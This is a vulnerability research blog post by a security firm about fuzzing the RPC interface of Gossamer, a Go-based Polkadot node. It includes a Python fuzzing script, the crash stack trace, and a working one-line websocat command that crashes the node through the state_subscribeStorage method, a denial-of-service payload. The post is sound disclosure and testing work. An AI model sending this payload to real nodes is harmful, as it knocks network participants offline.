Attacking & Fuzzing of Polkadot Node

Triggering Denial-of-Service via Gossamer RPC Flaws

Gossamer is a Go-based implementation of a Polkadot node, developed by ChainSafe Systems. It allows interaction with the Polkadot network, enabling users to participate as full nodes, validators, or other roles.

In this post, we will show you what we did to find a bug in the RPC part of the gossamer node. We’ll also explain how fuzzing helped us. In this post, we will consider that a test node is running on the computer. You can find how to start a node here.

 

Gathering information about the target

To identify potential targets for fuzzing the RPC (Remote Procedure Call) interfaces, it’s essential to have a comprehensive list of the available RPC methods. The Gossamer project, which is an implementation of the Polkadot Host, facilitates this by providing a specific RPC method named rpc_methods. This method can be invoked to retrieve a list of all available RPC calls that the node supports, making it a valuable tool for understanding the attack surface for fuzzing. You can call this method using the command:

 
				
					$ echo '{"id":1,"jsonrpc":"2.0","method":"rpc_methods","params":[]}' | websocat -n1 -B 99999999 ws://127.0.0.1:8546 | jq
				
			

We chose Websocat, a command-line WebSocket client, for invoking the methods. This tool enables direct interaction with WebSocket servers from the command line, making it an ideal choice for executing RPC method calls in our testing environment.

The node answered with the following:

 
				
					{
  "id": 1,
  "jsonrpc": "2.0",
  "result": {
    "methods": [
      "system_accountNextIndex",
      "system_addReservedPeer",
      "system_chain",
      "system_chainType",
      "system_health",
      "system_localListenAddresses",
      "system_localPeerId",
      "system_name",
      "state_getStorageHash",
      "state_getStorageSize",
      "state_queryStorage",
      "state_queryStorageAt",
      ...
    ]
  }
}
				
			

There is a lot of RPC methods, we can try to call a few of them manually to see how they work and what are their answers.

We use the same command as before but now we’re also sending parameters with the call:

 
				
					$ echo '{"id":1,"jsonrpc":"2.0","method":"chain_getBlock","params":[0x1234]}' | websocat -n1 -B 99999999 ws://127.0.0.1:8546 | jq
				
			

Of course the parameter doesn’t mean anything so the node gives us the following:

 
				
					{
  "jsonrpc": "2.0",
  "error": {
    "code": -32600,
    "message": "Invalid request"
  },
  "id": 0
}
				
			

Instead of manually calling each RPC method with random parameters, which can be both time-consuming and tedious, we can employ a more efficient approach by writing a Python script to automate the fuzzing process.

Improving our fuzzing with python

This script will systematically invoke each RPC method with various random parameters to uncover potential vulnerabilities or bugs.

So let’s get started:

				
					#!/usr/bin/env python

import asyncio
from websocket import create_connection
import json
import string
import random
import time

# This is the method were the actual RPC call is made
def call_method(websocket, method: str, i: str):
    websocket.send(json.dumps({
        "id": 1,
        "jsonrpc": "2.0",
        "method": method,
        "params": [i],
        }))

# Here we have all the available methods that we got from the node
methods = ["system_accountNextIndex","system_addReservedPeer","system_chain","system_chainType","system_health","system_localListenAddresses","system_localPeerId","system_name","system_networkState","system_nodeRoles","system_peers","system_properties","system_removeReservedPeer","system_syncState","system_version","author_hasKey","author_hasSessionKeys","author_insertKey","author_pendingExtrinsics","author_removeExtrinsic","author_rotateKeys","author_submitAndWatchExtrinsic","author_submitExtrinsic","chain_getBlock","chain_getBlockHash","chain_getFinalizedHead","chain_getFinalizedHeadByRound","chain_getHeader","chain_subscribeFinalizedHeads","chain_subscribeNewHead","chain_subscribeNewHeads","state_call","state_getKeysPaged","state_getMetadata","state_getPairs","state_getReadProof","state_getRuntimeVersion","state_getStorage","state_getStorageHash","state_getStorageSize","state_queryStorage","state_queryStorageAt","state_subscribeRuntimeVersion","state_subscribeStorage","rpc_methods","grandpa_proveFinality","grandpa_roundState","offchain_localStorageGet","offchain_localStorageSet","childstate_getKeys","childstate_getStorage","childstate_getStorageHash","childstate_getStorageSize","syncstate_genSyncSpec","payment_queryInfo"]

# Connection to the node
socket = create_connection("ws://localhost:8546")
while True:
		# Random parameter generation
    i = ''.join(random.choice(string.digits) for i in range(random.randint(10, 50)))
    # We try all the methods
    for method in methods:
        print(method)
        print(i)
        # We are adding 0x in front of the string because that what the parameter is suppose to look like
        call_method(socket, method, "0x" + i)
socket.close()
				
			

In the call_method function of our fuzzing script, we intentionally don’t process the result of the RPC call. This approach aligns with blackbox fuzzing principles, where the focus is not on the output of each request but on observing the behavior of the node itself in response to various inputs.

After checking that everything is working, we executed the script and waited for a while. And then the node crashed !

The bug we found

Following the node crash, it became imperative to conduct a thorough investigation to pinpoint the exact input that led to the crash and determine the location within the node’s code where the failure occurred.

Finding the input was pretty easy since the scripts prints everything. Here us what we got (this is probably not the only input that can work):

				
					0x93528923842762059757263068645530213798460336021
				
			

Then we looked at the stacktrace to see what append:

				
					panic: cannot decode an odd length string

goroutine 13639 [running]:
github.com/ChainSafe/gossamer/lib/common.MustHexToBytes({0xc00b08f000, 0x31})
	github.com/ChainSafe/gossamer/lib/common/common.go:78 +0x158
github.com/ChainSafe/gossamer/dot/state.(*StorageState).notifyObserver(0xc0003797d0?, {0x5, 0xbc, 0x21, 0xd6, 0x7b, 0x37, 0x9, 0xbc, 0x7d, ...}, ...)
	github.com/ChainSafe/gossamer/dot/state/storage_notify.go:114 +0x2b4
github.com/ChainSafe/gossamer/dot/state.(*StorageState).RegisterStorageObserver.func1()
	github.com/ChainSafe/gossamer/dot/state/storage_notify.go:60 +0x3a
created by github.com/ChainSafe/gossamer/dot/state.(*StorageState).RegisterStorageObserver
	github.com/ChainSafe/gossamer/dot/state/storage_notify.go:59 +0x2a5
				
			

The node experienced a crash due to a panic within one of its functions, triggered by the inability to decode the parameter provided by our fuzzing script. This indicates that the function encountered an input it was not designed to handle, leading to an unrecoverable error that halted the node’s operation.

The crash was traced back to the function notifyObserver, specifically due to the invocation of common.MustHexToBytes. Here it is on GitHub:

To simplify reproduction of this bug we crafted the following command:

				
					$ echo '{"id":1,"jsonrpc":"2.0","method":"state_subscribeStorage","params":["0x93528923842762059757263068645530213798460336021"]}' | websocat -n1 -B 99999999 ws://127.0.0.1:8546
				
			

Executing this crashes the node instantly leading to a denial of service of the node, and if used at scale crashing all the gossamer nodes.

Going deeper

In this blog post, we demonstrated the use of a simplistic script to fuzz the RPC methods of Gossamer, which, to our benefit, successfully identified a vulnerability. However, the effectiveness of such a basic approach might not suffice for every scenario. Should the need for a more sophisticated fuzzing strategy arise, leveraging advanced tools like RESTler, ffuzz, or wfuzz could become necessary. These tools offer enhanced capabilities and customization options to more thoroughly probe and test the resilience of RPC interfaces against a wider array of potential vulnerabilities.

Executing this crashes the node instantly leading to a denial of service of the node, and if used at scale crashing all the gossamer nodes.

Conclusion

Our investigation revealed a significant vulnerability in the RPC subsystem of Gossamer; activating this flaw results in the node’s immediate and total shutdown. This vulnerability poses a substantial risk of enabling a denial-of-service attack across the Gossamer network, as previously mentioned.

 

Tanguy Duhamel / @tduhamel42

 

About Us

Founded in 2021 and headquartered in Paris, FuzzingLabs is a cybersecurity startup specializing in vulnerability research, fuzzing, and blockchain security. We combine cutting-edge research with hands-on expertise to secure some of the most critical components in the blockchain ecosystem.

Contact us for an audit or long term partnership!

Get Your Free Security Quote!

Let’s work together to ensure your peace of mind.

Keep in touch with us !

email

contact@fuzzinglabs.com

X (Twitter)

@FuzzingLabs

Github

FuzzingLabs

LinkedIn

FuzzingLabs

email

contact@fuzzinglabs.com

X (Twitter)

@FuzzingLabs

Github

FuzzingLabs

LinkedIn

FuzzingLabs